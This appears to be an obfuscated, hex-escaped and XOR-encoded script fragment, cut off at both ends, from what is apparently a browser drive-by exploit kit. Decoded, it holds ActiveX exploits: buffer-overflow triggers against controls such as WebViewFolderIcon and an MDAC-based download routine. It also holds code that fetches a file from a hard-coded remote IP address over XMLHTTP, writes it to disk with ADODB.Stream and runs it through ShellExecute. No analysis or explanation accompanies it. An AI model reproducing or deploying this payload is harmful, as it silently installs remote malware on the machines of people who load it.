x89\x9c\x92\x89\x94\x94\x91\x89\x94\x95\x96\x89\x94\x95\x94\x89\x94\x94\x93\x89\x91\x93\x89\x94\x94\x90\x89\x94\x95\x94\x89\x94\x94\x91\x8c\x8e\x87\xd3\xc0\xd7\x85\x98\x85\xc8\xdc\xe7\xd0\xc3\xc3\x9e\x87\x8c\x9e\xa8\xaf\xc0\xd3\xc4\xc9\x8d\x87\xd1\xc4\xd7\xc2\xc0\xd1\x87\x8e\x87\x8b\x87\x8e\xf6\xd1\xd7\xcc\xcb\xc2\x8b\xc3\xd7\xca\xc8\xe6\xcd\xc4\xd7\xe6\xca\xc1\xc0\x8d\x94\x94\x91\x89\x94\x95\x94\x89\x9c\x9c\x89\x94\x95\x94\x89\x94\x95\x90\x89\x94\x94\x9d\x89\x94\x95\x94\x89\x91\x95\x89\x91\x94\x8c\x8e\x87\x9e\x87\x8c\x9e\xa8\xaf\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\xcb\xd0\xc8\x8c\xa8\xaf\xa8\xaf\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x95\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xdc\xc4\xcd\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xc0\xc9\xc0\xc4\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd4\xd1\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf4\xd0\xcc\xc6\xce\x82\x8e\x82\xf1\xcc\xc8\xc0\x8b\xf4\xd0\x82\x8e\x82\xcc\xc6\xce\xf1\xcc\xc8\xc0\x82\x8c\x9e\xac\xac\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd4\xd1\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd3\xc4\xd7\x85\xd4\xd1\xcd\xd1\xc8\xc9\x85\x98\x85\x82\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xe6\xe9\xe4\xf6\xf6\xec\xe1\x98\x87\xc6\xc9\xd6\xcc\xc1\x9f\x95\x97\xe7\xe3\x97\x90\xe1\x90\x88\x9d\xe6\x94\x92\x88\x91\xe7\x97\x96\x88\xe7\xe6\x9d\x95\x88\xe1\x96\x91\x9d\x9d\xe4\xe7\xe1\xe1\xe6\x93\xe7\x87\x85\xd2\xcc\xc1\xd1\xcd\x98\x87\x94\x87\x85\xcd\xc0\xcc\xc2\xcd\xd1\x98\x87\x94\x87\x85\xd6\xd1\xdc\xc9\xc0\x98\x87\xc7\xca\xd7\xc1\xc0\xd7\x9f\x95\xd5\xdd\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xd6\xd7\xc6\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd4\xd1\x8b\xd5\xcd\xd5\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc4\xd0\xd1\xca\xd5\xc9\xc4\xdc\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd1\xd7\xd0\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc9\xca\xca\xd5\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xc3\xc4\xc9\xd6\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc6\xca\xcb\xd1\xd7\xca\xc9\xc9\xc0\xd7\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd1\xd7\xd0\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\x8a\xca\xc7\xcf\xc0\xc6\xd1\x9b\x82\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc2\xc0\xd1\xe0\xc9\xc0\xc8\xc0\xcb\xd1\xe7\xdc\xec\xc1\x8d\x82\xc8\xdc\xc1\x82\x8e\x82\xcc\xd3\x82\x8c\x8b\xcc\xcb\xcb\xc0\xd7\xed\xf1\xe8\xe9\x85\x98\x85\xd4\xd1\xcd\xd1\xc8\xc9\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x8c\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x94\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xc0\xc9\xd6\xc0\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x94\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd2\xcc\xcb\xdf\xcc\xd5\x85\x98\x85\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe0\xc9\xc0\xc8\xc0\xcb\xd1\x8d\x87\xca\xc7\xcf\xc0\xc6\xd1\x87\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd2\xcc\xcb\xdf\xcc\xd5\x8b\xd6\xc0\xd1\xe4\xd1\xd1\xd7\xcc\xc7\xd0\xd1\xc0\x8d\x87\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x87\x89\x85\x87\xc6\xc9\xd6\xcc\xc1\x9f\xe4\x95\x9c\xe4\xe0\x93\x87\x8e\x87\x9d\xe3\x88\xe7\x94\x91\xe1\x88\x91\x96\x87\x8e\x87\xe0\xe1\x88\xe7\x92\x94\x96\x88\xe7\xe4\x91\x94\x96\x87\x8e\x87\xe3\x95\x96\x91\x9c\x95\x91\x87\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd7\xc0\xd1\x98\xd2\xcc\xcb\xdf\xcc\xd5\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xeb\xc0\xd2\xe3\xca\xc9\xc1\xc0\xd7\xe3\xd7\xca\xc8\xeb\xc4\xc8\xc0\x8d\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\x95\x95\x87\x8c\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd7\xc0\xd1\x85\x98\x98\x85\xc3\xc4\xc9\xd6\xc0\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd6\xd1\xc4\xd7\xd1\xf2\xcc\xcb\xff\xcc\xd5\x8d\xd2\xcc\xcb\xdf\xcc\xd5\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x8c\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x97\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xc0\xc9\xd6\xc0\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x97\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x97\x8c\x85\xde\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd1\xc4\xd7\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\xc6\x82\x8e\x82\xca\xcb\x8b\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\x82\x8e\x82\xc6\xca\xcb\x8b\x94\x82\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd1\xc4\xd7\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd6\xd1\xc4\xd7\xd1\xf2\xf3\xe3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe2\xc0\xd1\xf7\xc4\xcb\xc1\xf6\xd1\xd7\xcc\xcb\xc2\x8d\xc9\xc0\xcb\x8c\xa8\xaf\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xc6\xcd\xc4\xd7\xd6\x85\x98\x85\x87\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xcd\xcc\xce\xc9\xc8\xcb\xca\xd5\xd4\xd7\xd6\xd1\xd0\xd3\xd2\xdd\xdc\xdf\x87\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd6\xd1\xd7\xcc\xcb\xc2\xfa\xc9\xc0\xcb\xc2\xd1\xcd\x85\x98\x85\xc9\xc0\xcb\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x85\x98\x85\x82\x82\x9e\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xd3\xc4\xd7\x85\xcc\x98\x95\x9e\x85\xcc\x99\xd6\xd1\xd7\xcc\xcb\xc2\xfa\xc9\xc0\xcb\xc2\xd1\xcd\x9e\x85\xcc\x8e\x8e\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xd7\xcb\xd0\xc8\x85\x98\x85\xe8\xc4\xd1\xcd\x8b\xc3\xc9\xca\xca\xd7\x8d\xe8\xc4\xd1\xcd\x8b\xd7\xc4\xcb\xc1\xca\xc8\x8d\x8c\x85\x8f\x85\xc6\xcd\xc4\xd7\xd6\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8c\x9e\xa8\xaf\xac\xac\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x85\x8e\x98\x85\xc6\xcd\xc4\xd7\xd6\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\xd7\xcb\xd0\xc8\x89\xd7\xcb\xd0\xc8\x8e\x94\x8c\x9e\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xe6\xe9\xf6\xec\xe1\x89\x85\xcb\xc4\xc8\xc0\x8c\x85\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\xac\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\x87\x87\x89\x85\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x8d\xd7\x8c\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xfd\xe8\xe9\xed\xd1\xd1\xd5\xe1\xca\xd2\xcb\xc9\xca\xc4\xc1\x8d\xdd\xc8\xc9\x89\x85\xd0\xd7\xc9\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xdd\xc8\xc9\x8b\xca\xd5\xc0\xcb\x8d\x87\xe2\xe0\xf1\x87\x89\x85\xd0\xd7\xc9\x89\x85\xc3\xc4\xc9\xd6\xc0\x8c\x9e\xa8\xaf\xac\xac\xdd\xc8\xc9\x8b\xd6\xc0\xcb\xc1\x8d\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xa8\xaf\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xdd\xc8\xc9\x8b\xd7\xc0\xd6\xd5\xca\xcb\xd6\xc0\xe7\xca\xc1\xdc\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe4\xe1\xea\xe7\xe1\xf6\xd1\xd7\xc0\xc4\xc8\xf6\xc4\xd3\xc0\x8d\xca\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xc1\xc4\xd1\xc4\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xca\x8b\xf1\xdc\xd5\xc0\x85\x98\x85\x94\x9e\xa8\xaf\xac\xac\xca\x8b\xe8\xca\xc1\xc0\x85\x98\x85\x96\x9e\xa8\xaf\xac\xac\xca\x8b\xea\xd5\xc0\xcb\x8d\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xf2\xd7\xcc\xd1\xc0\x8d\xc1\xc4\xd1\xc4\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xf6\xc4\xd3\xc0\xf1\xca\xe3\xcc\xc9\xc0\x8d\xcb\xc4\xc8\xc0\x89\x85\x97\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xe6\xc9\xca\xd6\xc0\x8d\x8c\x9e\xa8\xaf\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xc0\xdd\xc0\xc6\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xd1\xdc\xd5\xc0\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xd1\xdc\xd5\xc0\x85\x98\x98\x85\x95\x8c\x85\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xdd\xc0\xc6\x8b\xf7\xd0\xcb\x8d\xcb\xc4\xc8\xc0\x89\x85\x95\x8c\x9e\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\x85\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xdd\xc0\x8b\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xcb\xc4\xc8\xc0\x8c\x9e\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\x85\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x8d\x95\x8c\x9e\xa8\xaf\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe8\xe1\xe4\xe6\x8d\x8c\x85\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xd1\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x82\xde\xe7\xe1\x9c\x93\xe6\x90\x82\x8e\x82\x90\x93\x88\x93\x90\xe4\x96\x88\x94\x94\x82\x8e\x82\xe1\x95\x88\x9c\x9d\x96\xe4\x88\x95\x95\xe6\x95\x91\xe3\xe6\x82\x8e\x82\x97\x9c\xe0\x96\x95\xd8\x82\x89\x85\x82\xde\xe7\xe1\x9c\x93\xe6\x82\x8e\x82\x90\x90\x93\x88\x93\x90\xe4\x96\x88\x94\x94\x82\x8e\x82\xe1\x95\x88\x9c\x9d\x96\xe4\x88\x95\x95\xe6\x95\x82\x8e\x82\x91\xe3\xe6\x97\x9c\xe0\x96\x93\xd8\x82\x89\x85\x82\xde\xe4\xe7\x9c\xe7\x82\x8e\x82\xe6\xe0\xe1\xe1\x88\xe0\xe6\x92\xe0\x88\x91\x92\x82\x8e\x82\xe0\x94\x88\x9c\x96\x97\x97\x88\xe1\x91\xe4\x97\x94\x82\x8e\x82\x95\x93\x94\x92\x94\x94\x93\xd8\x82\x89\x85\x82\xde\x95\x95\x95\x93\xe3\x82\x8e\x82\x95\x96\x96\x88\x95\x95\x95\x95\x88\x95\x95\x95\x95\x88\xe6\x95\x95\x95\x88\x95\x95\x95\x95\x95\x95\x82\x8e\x82\x95\x95\x95\x95\x91\x93\xd8\x82\x89\x85\x82\xde\x95\x95\x95\x93\x82\x8e\x82\xe3\x95\x96\xe4\x88\x95\x95\x95\x95\x88\x95\x95\x95\x95\x88\xe6\x95\x95\x95\x88\x95\x95\x95\x95\x95\x95\x95\x82\x8e\x82\x95\x95\x95\x91\x93\xd8\x82\x89\x85\x82\xde\x93\xc0\x96\x97\x82\x8e\x82\x95\x92\x95\xc4\x88\x92\x93\x93\xc1\x88\x91\xc0\xc0\x93\x88\x9d\x92\x9c\xc6\x88\xc1\xc6\x94\xc3\xc4\x82\x8e\x82\x9c\x94\xc1\x97\xc3\xc6\x96\xd8\x82\x89\x85\x82\xde\x93\x91\x94\x91\x82\x8e\x82\x90\x94\x97\xe7\x88\xe7\x9c\x92\x9d\x88\x91\x90\x94\xe1\x88\xe4\x95\xe1\x9d\x88\xe3\xe6\xe3\xe1\xe3\x96\x82\x8e\x82\x96\xe0\x9d\x96\x96\xe6\xd8\x82\x89\x85\x82\xde\x92\xe3\x90\xe7\x82\x8e\x82\x92\xe3\x93\x96\x88\xe3\x95\x93\xe3\x88\x91\x96\x96\x94\x88\x9d\xe4\x97\x93\x88\x96\x96\x9c\xe0\x95\x96\x82\x8e\x82\xe6\x95\xe4\xe0\x96\xe1\xd8\x82\x89\x85\x82\xde\x95\x93\x92\x97\x82\x8e\x82\x96\xe0\x95\x9c\x88\xe3\x91\xe6\x97\x88\x91\x96\x82\x8e\x82\xc6\x9d\x88\x9d\x96\x90\x9d\x88\x95\x9c\xe3\xe6\xe1\x94\xe1\x82\x8e\x82\xe7\x95\x92\x93\x93\xd8\x82\x89\x85\x82\xde\x93\x96\x9c\xe3\x82\x8e\x82\x92\x97\x90\xe3\x88\x94\xe7\x97\xe1\x88\x91\x9d\x82\x8e\x82\x96\x94\x88\xe4\x9c\xe3\xe1\x88\x9d\x92\x91\x9d\x91\x82\x8e\x82\x92\x93\x9d\x97\x95\x94\x95\xd8\x82\x89\x85\x82\xde\xe7\xe4\x95\x94\x9d\x82\x8e\x82\x90\x9c\x9c\x88\x94\xe1\xe7\x96\x88\x91\x91\xc3\x82\x8e\x82\x9c\x88\x9d\x96\xe7\x91\x88\x91\x93\x94\x91\x90\x82\x8e\x82\x91\xe6\x9d\x91\xe7\xe3\x9d\xd8\x82\x89\x85\x82\xde\xe1\x95\xe6\x95\x92\x82\x8e\x82\xe1\x90\x93\x88\x92\xe6\x93\x9c\x88\x91\x96\xe3\x94\x88\xe7\x91\x82\x8e\x82\xe4\x95\x88\x97\x90\xe3\x90\xe4\x94\x82\x8e\x82\x94\xe3\xe4\xe7\x94\x9c\xd8\x82\x89\x85\x82\xde\xe0\x9d\xe6\x82\x8e\x82\xe6\xe6\xe1\xe1\xe3\x88\xe6\xe4\x97\x9d\x88\x91\x9c\x93\xc7\x88\xe7\x82\x8e\x82\x95\x90\x95\x88\x93\xe6\x95\x92\xe6\x9c\x93\x97\x82\x8e\x82\x91\x92\x93\xe7\xd8\x82\x89\x85\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd3\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\xcb\xd0\xc9\xc9\x89\x85\xcb\xd0\xc9\xc9\x89\x85\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcc\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcb\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\xc0\xd1\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd0\xd7\xc9\xf7\xc0\xc4\xc9\xe0\xdd\xc0\x85\x98\x85\x82\xcd\xd1\xd1\xd5\x9f\x8a\x8a\x9d\x92\x8b\x97\x95\x92\x8b\x94\x95\x90\x8b\x94\x9c\x94\x8a\xc3\xcc\xc9\xc0\x8b\xd5\xcd\xd5\x82\x9e\xa8\xaf\xa8\xaf\xac\xd2\xcd\xcc\xc9\xc0\x85\x8d\xd1\xfe\xcc\xf8\x85\x83\x83\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x85\xd9\xd9\x85\x84\x85\xd3\xfe\x94\xf8\x85\xd9\xd9\x85\x84\x85\xd3\xfe\x97\xf8\x8c\x85\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xc4\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xac\xc4\x85\x98\x85\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe0\xc9\xc0\xc8\xc0\xcb\xd1\x8d\x87\xca\xc7\xcf\xc0\xc6\xd1\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xc4\x8b\xd6\xc0\xd1\xe4\xd1\xd1\xd7\xcc\xc7\xd0\xd1\xc0\x8d\x87\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x87\x89\x85\x87\xc6\xc9\xd6\xcc\xc1\x9f\x87\x85\x8e\x85\xd1\xfe\xcc\xf8\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x89\x85\xd1\xfe\xcc\xf8\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x88\x85\x94\x8c\x8c\x9e\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xc4\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\x85\xd8\xa8\xaf\xac\xac\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xc4\x8c\x85\xde\xa8\xaf\